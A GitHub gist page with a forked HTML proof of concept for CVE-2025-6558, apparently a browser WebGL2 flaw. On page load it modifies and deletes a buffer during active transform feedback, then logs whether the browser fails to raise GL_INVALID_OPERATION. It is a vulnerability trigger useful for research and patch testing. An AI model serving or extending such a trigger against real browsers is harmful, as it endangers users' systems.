Skip to content

Instantly share code, notes, and snippets.

@gmh5225
Forked from d4rkc0nd0r/CVE-2025-6558.html
Created September 17, 2025 07:41
Show Gist options
  • Save gmh5225/dc001df17cf263e27674d49f44c46ff2 to your computer and use it in GitHub Desktop.
Save gmh5225/dc001df17cf263e27674d49f44c46ff2 to your computer and use it in GitHub Desktop.

Revisions

  1. @d4rkc0nd0r d4rkc0nd0r created this gist Sep 16, 2025.
    115 changes: 115 additions & 0 deletions CVE-2025-6558.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,115 @@
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>CVE-2025-6558 PoC</title>
    </head>
    <body>
    <canvas id="canvas" width="480" height="640"></canvas>
    <script>
    function tf_bug() {
    const canvas = document.getElementById("canvas");
    const gl = canvas.getContext("webgl2");
    if (!gl) {
    console.log("WebGL2 is not supported");
    return;
    }

    function createShader(type, source) {
    const shader = gl.createShader(type);
    gl.shaderSource(shader, source);
    gl.compileShader(shader);
    if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
    console.log("Shader compile error: " + gl.getShaderInfoLog(shader));
    gl.deleteShader(shader);
    return null;
    }
    return shader;
    }

    const vertexShaderSource = `#version 300 es
    in float a;
    out float b;
    void main() {
    b = a;
    gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
    }`;
    const fragmentShaderSource = `#version 300 es
    precision mediump float;
    out vec4 fragColor;
    void main() {
    fragColor = vec4(1.0, 0.0, 0.0, 1.0);
    }`;

    const vertexShader = createShader(gl.VERTEX_SHADER, vertexShaderSource);
    const fragmentShader = createShader(gl.FRAGMENT_SHADER, fragmentShaderSource);

    const program = gl.createProgram();
    gl.attachShader(program, vertexShader);
    gl.attachShader(program, fragmentShader);

    gl.transformFeedbackVaryings(program, ["b"], gl.SEPARATE_ATTRIBS);
    gl.linkProgram(program);

    if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
    console.log("Program link error: " + gl.getProgramInfoLog(program));
    return;
    }

    gl.useProgram(program);
    console.log("Program created and linked successfully");

    const buffer = gl.createBuffer();
    gl.bindBuffer(gl.TRANSFORM_FEEDBACK_BUFFER, buffer);
    gl.bindBufferRange(gl.TRANSFORM_FEEDBACK_BUFFER, 0, buffer, 0, 4);

    gl.bufferData(gl.TRANSFORM_FEEDBACK_BUFFER, 8, gl.STATIC_DRAW);
    console.log("Buffer created and bound");

    const transformFeedback = gl.createTransformFeedback();
    gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback);
    gl.bindBufferRange(gl.TRANSFORM_FEEDBACK_BUFFER, 0, buffer, 0, 4);

    gl.beginTransformFeedback(gl.POINTS);
    console.log("Transform feedback begun");

    let error = gl.getError();
    if (error !== gl.NO_ERROR) {
    console.log("Error before buffer modification: " + error);
    return;
    }

    // TEST 1
    console.log("TEST 1");
    gl.bufferData(gl.TRANSFORM_FEEDBACK_BUFFER, 8, gl.STATIC_DRAW);
    gl.flush();

    // Deleting the buffer during transform feedback doesn't have any affect.
    gl.bindBuffer(gl.TRANSFORM_FEEDBACK_BUFFER, buffer);
    gl.deleteBuffer(buffer);

    error = gl.getError();
    if (error === gl.INVALID_OPERATION) {
    console.log("[-] glBufferData correctly generated GL_INVALID_OPERATION");
    } else if (error === gl.NO_ERROR) {
    console.log("[+] glBufferData should have generated GL_INVALID_OPERATION but didn't");
    } else {
    console.log("[!] glBufferData generated error: " + error);
    }

    gl.endTransformFeedback();
    gl.deleteTransformFeedback(transformFeedback);
    gl.deleteBuffer(buffer);
    gl.deleteProgram(program);
    gl.deleteShader(vertexShader);
    gl.deleteShader(fragmentShader);

    console.log("End of testcase");
    }

    window.onload = function() {
    tf_bug();
    };
    </script>
    </body>
    </html>